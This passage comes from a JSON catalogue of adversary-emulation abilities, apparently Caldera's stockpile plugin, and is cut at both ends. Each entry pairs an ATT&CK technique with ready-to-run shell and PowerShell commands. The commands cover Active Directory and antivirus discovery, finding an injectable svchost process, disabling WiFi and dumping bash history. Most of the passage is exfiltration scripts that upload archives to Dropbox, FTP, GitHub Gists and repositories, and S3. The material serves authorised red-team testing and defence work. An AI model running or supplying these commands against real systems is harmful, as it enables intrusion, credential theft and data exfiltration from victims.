Defender service not found.\"; exit 1; }; };"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "Elevated", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "6d90e6fa-9324-4eb5-93be-9f737245bd7z", "tactic": "discovery", "technique_name": "Permission Groups Discovery: Domain Groups", "technique_id": "T1069.002", "name": "Discover Domain Admins", "description": "Use PowerView to query the Active Directory server to determine remote admins", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1;\nGet-NetLocalGroupMember -ComputerName #{remote.host.fqdn}", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.netlocalgroup", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_admin", "target": "domain.user.name", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "ce485320-41a4-42e8-a510-f5a8fe96a644", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Discover Mail Server", "description": "Identify the organizations mail server", "executors": [{"name": "sh", "platform": "linux", "command": "host \"#{target.org.domain}\" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "target.org.emailhost", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "darwin", "command": "host \"#{target.org.domain}\" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "target.org.emailhost", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "(nslookup -querytype=mx #{target.org.domain}. | Select-String -pattern 'mail' | Out-String).Trim()", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "target.org.emailhost", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2dece965-37a0-4f70-a391-0f30e3331aba", "tactic": "discovery", "technique_name": "Software Discovery: Security Software Discovery", "technique_id": "T1518.001", "name": "Discover antivirus programs", "description": "Identify AV", "executors": [{"name": "sh", "platform": "darwin", "command": "find /Applications/ -maxdepth 2 -iname *.app | grep -io \"[a-z ]*\\.app\" | grep -Ei -- \"symantec|norton|bitdefender|kapersky|eset|avast|avira|malwarebytes|sophos|(trend micro)\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.antivirus", "parserconfigs": [{"source": "host.installed.av", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "wmic /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.installed.av", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "26c8b8b5-7b5b-4de1-a128-7d37fb14f517", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Discover domain controller", "description": "Identify the remote domain controllers", "executors": [{"name": "cmd", "platform": "windows", "command": "nltest /dsgetdc:%USERDOMAIN%", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "nltest /dsgetdc:$env:USERDOMAIN", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "05cda6f6-2b1b-462e-bff1-845af94343f7", "tactic": "discovery", "technique_name": "Process Discovery", "technique_id": "T1057", "name": "Discover injectable process", "description": "Discovers processes that the current user has the ability to access and selects an injectable one", "executors": [{"name": "psh", "platform": "windows", "command": "$owners = @{};\ngwmi win32_process |% {$owners[$_.handle] = $_.getowner().user};\n$ps = get-process | select processname,Id,@{l=\"Owner\";e={$owners[$_.id.tostring()]}};\n$valid = foreach($p in $ps) { if($p.Owner -eq $env:USERNAME -And $p.ProcessName -eq \"svchost\") {$p} };\n$valid | ConvertTo-Json", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.json", "parserconfigs": [{"source": "host.process.id", "edge": "", "target": "", "custom_parser_vals": {"json_key": "Id", "json_type": "int"}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "13379ae1-d20e-4162-91f8-320d78a35e7f", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Discover local hosts", "description": "Use PowerView to query the Active Directory server for a list of computers in the Domain", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1;\nGet-DomainComputer", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.gdomain", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c6607391-d02c-44b5-9b13-d3492ca58599", "tactic": "discovery", "technique_name": "System Service Discovery", "technique_id": "T1007", "name": "Discover system services", "description": "Identify system services", "executors": [{"name": "psh", "platform": "windows", "command": "Get-Service", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2fe2d5e6-7b06-4fc0-bf71-6966a1226731", "tactic": "impact", "technique_name": "Endpoint Denial of Service", "technique_id": "T1499", "name": "Disrupt WIFI", "description": "Turn a computers WIFI off", "executors": [{"name": "sh", "platform": "darwin", "command": "./wifi.sh off", "code": null, "language": null, "build_target": null, "payloads": ["wifi.sh"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["./wifi.sh on"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "./wifi.sh off", "code": null, "language": null, "build_target": null, "payloads": ["wifi.sh"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["./wifi.sh on"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": ".\\wifi.ps1 -Off", "code": null, "language": null, "build_target": null, "payloads": ["wifi.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [".\\wifi.ps1 -On"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["impact"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "422526ec-27e9-429a-995b-c686a29561a4", "tactic": "credential-access", "technique_name": "Unsecured Credentials: Bash History", "technique_id": "T1552.003", "name": "Dump history", "description": "Get contents of bash history", "executors": [{"name": "sh", "platform": "darwin", "command": "find ~/.bash_sessions -name '*' -exec cat {} \\; 2>/dev/null", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ssh", "parserconfigs": [{"source": "remote.ssh.cmd", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "cat ~/.bash_history", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ssh", "parserconfigs": [{"source": "remote.ssh.cmd", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["credential-access"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "315cedf1-4a3a-4015-b63f-149d64bacbbc", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: PowerShell", "technique_id": "T1059.001", "name": "Emulate Administrator Tasks", "description": "Emulate administrator tasks on a system in a separate process", "executors": [{"name": "psh", "platform": "windows", "command": "start powershell.exe -ArgumentList \"-NoP\",\"-StA\",\"-ExecutionPolicy\",\"bypass\",\".\\Emulate-Administrator-Tasks.ps1\"", "code": null, "language": null, "build_target": null, "payloads": ["Emulate-Administrator-Tasks.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Remove-Item -Force -Path \".\\Emulate-Administrator-Tasks.ps1\""], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "start powershell.exe -ArgumentList \"-NoP\",\"-StA\",\"-ExecutionPolicy\",\"bypass\",\".\\Emulate-Administrator-Tasks.ps1\"", "code": null, "language": null, "build_target": null, "payloads": ["Emulate-Administrator-Tasks.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["Remove-Item -Force -Path \".\\Emulate-Administrator-Tasks.ps1\""], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3ce95a28-25fc-4a7e-a0cd-0fdb190e2081", "tactic": "exfiltration", "technique_name": "Exfiltration to Cloud Storage", "technique_id": "T1567.002", "name": "Exfil Compressed Archive to Dropbox", "description": "This will exfiltrate an archive to Dropbox.", "executors": [{"name": "psh", "platform": "windows", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($SourceFile.name)\";\n$TargetFilePath = \"/#{dropbox.target.dir}/$RemoteName\";\n$ApiKey = \"#{dropbox.api.key}\";\n\n$url = \"https://content.dropboxapi.com/2/files/upload\";\n\n$file = [IO.File]::ReadAllBytes($SourceFile);\n[net.httpWebRequest] $req = [net.webRequest]::create($url);\n\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }';\n$authorization = \"Bearer \" + $ApiKey;\n\n$req.method = \"POST\";\n$req.Headers.Add(\"Authorization\", $authorization);\n$req.Headers.Add(\"Dropbox-API-Arg\", $arg);\n$req.ContentType = 'application/octet-stream';\n$req.ContentLength = $file.length;\n$req.TimeOut = 50000;\n$req.KeepAlive = $true;\n$req.Headers.Add(\"Keep-Alive: 300\");\n$reqst = $req.getRequestStream();\n$reqst.write($file, 0, $file.length);\n$reqst.flush();\n$reqst.close();\n\n[net.httpWebResponse] $res = $req.getResponse();\n$resst = $res.getResponseStream();\n$sr = new-object IO.StreamReader($resst);\n$result = $sr.ReadToEnd();\n$result;\n$res.close();", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ncurl -X POST https://content.dropboxapi.com/2/files/upload\n    --header \"Authorization: Bearer #{dropbox.api.key}\"\n    --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"/#{dropbox.target.dir}/$RemoteName\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false,\\\"strict_conflict\\\": false}\"\n    --header \"Content-Type: application/octet-stream\"\n    --data-binary @#{host.dir.compress}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "d754878c-17dd-46dc-891c-a993f8a10336", "tactic": "exfiltration", "technique_name": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", "technique_id": "T1048.003", "name": "Exfil Compressed Archive to FTP Server", "description": "This ability exfiltrates a compressed archive to an FTP server.", "executors": [{"name": "sh", "platform": "linux", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ncurl -T #{host.dir.compress} ftp://#{ftp.server.address}/$RemoteName --user #{ftp.user.name}:'#{ftp.user.password}'", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($SourceFile.name)\";\n$ftp = [System.Net.FtpWebRequest]::Create(\"ftp://#{ftp.server.address}/$RemoteName\");\n$ftp = [System.Net.FTPWebRequest]$ftp;\n$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile;\n$ftp.Credentials = New-Object System.Net.NetworkCredential(\"#{ftp.user.name}\", \"#{ftp.user.password}\");\n$ftp.UseBinary = $true;\n$ftp.UsePassive = $true;\n\n$content = [System.IO.File]::ReadAllBytes(\"#{host.dir.compress}\");\n$ftp.ContentLength = $content.Length;\n$requestStream = $ftp.GetRequestStream();\n$requestStream.Write($content, 0, $content.Length);\n\n$requestStream.Close();\n$requestStream.Dispose();", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "0582dc26-e0cf-4645-88cf-f37a02279976", "tactic": "exfiltration", "technique_name": "Exfiltration to Code Repository", "technique_id": "T1567.001", "name": "Exfil Compressed Archive to Github Gist", "description": "This ability exfiltrates a compressed archive to Github Gists (Base64 Encoded). To reconstitute, save\nthe base64 string from the Gist and run ----\n(Powershell) [Convert]::FromBase64String($(Get-Content b64.txt)) | set-content archive.extension -encoding byte ----\n(Linux) cat b64.txt | base64 -d > archive.extension\n", "executors": [{"name": "sh", "platform": "linux", "command": "GHUser=\"#{github.user.name}\";\nGHPAT=\"#{github.access.token}\";\nFileContent=$(base64 #{host.dir.compress});\nLocalFile='#{host.dir.compress}';\nRemoteFile=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ntmp_file=$(mktemp);\necho \"{\\\"public\\\": false,\\\"files\\\": {\\\"$RemoteFile\\\": {\\\"content\\\": \\\"${FileContent}\\\"}}}\" > $tmp_file;\ncurl --silent --output /dev/null --show-error --fail -X POST -d @$tmp_file -u $GHUser:$GHPAT https://api.github.com/gists;\nrm $tmp_file", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$GHUser = \"#{github.user.name}\";\n$GHPAT = \"#{github.access.token}\";\n$File = Get-Item -Path \"#{host.dir.compress}\";\n$Token = $GHUser + \":\" + $GHPAT;\n$EncodedToken = [System.Convert]::ToBase64String([char[]]$Token);\n\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-paw-$($File.name)\";\n$FileContent = [Convert]::ToBase64String([IO.File]::ReadAllBytes($File));\n\n$StringContent = @{\n    files = @{$RemoteName = @{content = $FileContent}};\n    public = $False;\n} | ConvertTo-Json;\n$URL = \"https://api.github.com/gists\";\n$Body = $StringContent;\n$Headers = @{\n    \"content-type\" = \"application/json\";\n    \"Authorization\" = 'Basic {0}' -f $EncodedToken;\n};\nInvoke-WebRequest -Uri $URL -Method POST -Body $Body -Headers $Headers 1>$null -UseBasicParsing;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "4a1120a5-971c-457f-bb07-60641b4723fd", "tactic": "exfiltration", "technique_name": "Exfiltration to Code Repository", "technique_id": "T1567.001", "name": "Exfil Compressed Archive to Github Repository", "description": "This will exfiltrate a given compressed directory to a GitHub repository. It assumes that all the facts supplied are valid.", "executors": [{"name": "sh", "platform": "linux", "command": "GHUser=\"#{github.user.name}\";\nGHRepo=\"#{github.repository.name}\";\nGHPAT=\"#{github.access.token}\";\nGHBranch='#{github.repository.branch}';\nLocalFile='#{host.dir.compress}';\nHeader=\"Authorization: token $GHPAT\";\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\necho \"{\\\"message\\\":\\\"Committed $RemoteName\\\", \\\"branch\\\":\\\"$GHBranch\\\", \\\"content\\\":\\\"\" >/tmp/b64;\nbase64 -w 0 $LocalFile >>/tmp/b64;\necho \"\\\"}\" >>/tmp/b64;\ncontent=$(curl -s -X PUT -H \"Accept: application/vnd.github.v3+json\" -H \"$Header\" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);\nrm /tmp/b64;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n    Authorization = 'Basic {0}' -f $basetoken;\n};\n$file = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n$uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n\n$FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n$Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n$Body = @{\n    path = $RemoteName;\n    branch = $GHBranch;\n    content = $Base64EncodedFileBytes;\n    encoding = 'base64';\n    message = \"Committed \" + $RemoteName;\n} | ConvertTo-Json;\ntry {\n  $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue;\n} catch {\n  if ($PSItem -notmatch \"but expected\") { $PSItem; }\n}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n    Authorization = 'Basic {0}' -f $basetoken;\n};\n$file = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n$uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n\n$FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n$Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n$Body = @{\n    path = $RemoteName;\n    branch = $GHBranch;\n    content = $Base64EncodedFileBytes;\n    encoding = 'base64';\n    message = \"Committed \" + $RemoteName;\n} | ConvertTo-Json;\ntry {\n  $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue;\n} catch {\n  if ($PSItem -notmatch \"but expected\") { $PSItem; }\n}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e7bf5dc7-62e4-48b2-acf8-abaf8734c19c", "tactic": "exfiltration", "technique_name": "Exfiltration to Cloud Storage", "technique_id": "T1567.002", "name": "Exfil Compressed Archive to S3 via AWS CLI", "description": "Exfiltrate the compressed archive to the provided S3 bucket using the AWS CLI. It is assumed that the user\ncredentials configured with AWS CLI have the proper permissions to write to the target S3 bucket.\n", "executors": [{"name": "sh", "platform": "linux", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"exfil-#{paw}-$(basename $LocalFile)\";\naws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["LocalFile='#{host.dir.compress}';\nRemoteName=\"exfil-#{paw}-$(basename $LocalFile)\";\naws s3 rm s3://#{s3.source.name}/$RemoteName;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"exfil-#{paw}-$($SourceFile.name)\";\naws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": ["$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"exfil-#{paw}-$($SourceFile.name)\";\naws s3 rm s3://#{s3.source.name}/$RemoteName;"], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "dd4d3d6f-be0a-4d80-ada2-0b7f3228d2dc", "tactic": "exfiltration", "technique_name": "Exfiltration to Cloud Storage", "technique_id": "T1567.002", "name": "Exfil Compressed Archive to S3 via Golang", "description": "Use the AWS SDK for GoLang to upload the compressed archive to the provided S3 bucket.\nIt is assumed that the current user credentials have the proper permissions to write to the target S3 bucket.\nRequires the agent to be compiled with the native_aws extension.\nTimeout set to 45 seconds.\n", "executors": [{"name": "native", "platform": "linux", "command": "s3upload \"#{host.dir.compress}\" \"#{s3.source.region}\" \"#{s3.source.name}\" \"aws-#{paw}-compressed\" 45s", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "native", "platform": "windows", "command": "s3upload \"#{host.dir.compress}\" \"#{s3.source.region}\" \"#{s3.source.name}\" \"aws-#{paw}-compressed\" 45s", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "native", "platform": "darwin", "command": "s3upload \"#{host.dir.compress}\" \"#{s3.source.region}\" \"#{s3.source.name}\" \"aws-#{paw}-compressed\" 45s", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.paw_provenance", "relationship_match": [{"source": "host.dir.compress"}]}], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "a201bec2-a193-4b58-bf0e-57fa621da474", "tactic": "exfiltration", "technique_name": "Exfiltration to Code Repository", "technique_id": "T1567.001", "name": "Exfil Directory Files to GitHub", "description": "This ability will exfiltrate all files in a set staged directory to a repository in GitHub.\n", "executors": [{"name": "sh", "platform": "linux", "command": "GHUser=\"#{github.user.name}\";\nGHRepo=\"#{github.repository.name}\";\nGHPAT=\"#{github.access.token}\";\nGHBranch='#{github.repository.branch}';\nLocalDirectory=#{host.dir.staged};\nHeader=\"Authorization: token $GHPAT\";\n\nfor file in $LocalDirectory/*.*; do\n  TempName=$(echo $file | sed \"s/ /-/g\")\n\tRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename \"$TempName\")\";\n\techo \"{\\\"message\\\":\\\"Committed $(basename $TempName) at: $(date)\\\", \\\"branch\\\":\\\"$GHBranch\\\", \\\"content\\\":\\\"\" >/tmp/b64;\n  base64 -w 0 \"$file\" >>/tmp/b64;\n  echo \"\\\"}\" >>/tmp/b64;\n\tcontent=$(curl -s -X PUT -H \"Accept: application/vnd.github.v3+json\" -H \"$Header\" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);\n  rm /tmp/b64;\ndone;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$LocalDirectory = \"#{host.dir.staged}\";\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n    Authorization = 'Basic {0}' -f $basetoken;\n};\n\n$Files = Get-ChildItem $LocalDirectory;\nforeach ($file in $Files){\n    $RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n    $uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n    $FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n    $Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n    $Body = @{\n        path = $file.Name;\n        branch = $GHBranch;\n        content = $Base64EncodedFileBytes;\n        encoding = 'base64';\n        message = \"Committed \" + $file.name + \" at: \" + (Get-Date);\n    } | ConvertTo-Json;\n    try {\n        $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue;\n    } catch {\n        if ($PSItem -notmatch \"but expected\") { $PSItem; }\n        else { $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue; }\n    }\n};", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$LocalDirectory = \"#{host.dir.staged}\";\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n    Authorization = 'Basic {0}' -f $basetoken;\n};\n\n$Files = Get-ChildItem $LocalDirectory;\nforeach ($file in $Files){\n    $RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n    $uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n    $FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n    $Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n    $Body = @{\n        path = $file.Name;\n        branch = $GHBranch;\n        content = $Base64EncodedFileBytes;\n        encoding = 'base64';\n        message = \"Committed \" + $file.name + \" at: \" + (Get-Date);\n    } | ConvertTo-Json;\n    try {\n        $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue;\n    } catch {\n        if ($PSItem -notmatch \"but expected\") { $PSItem; }\n        else { $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction 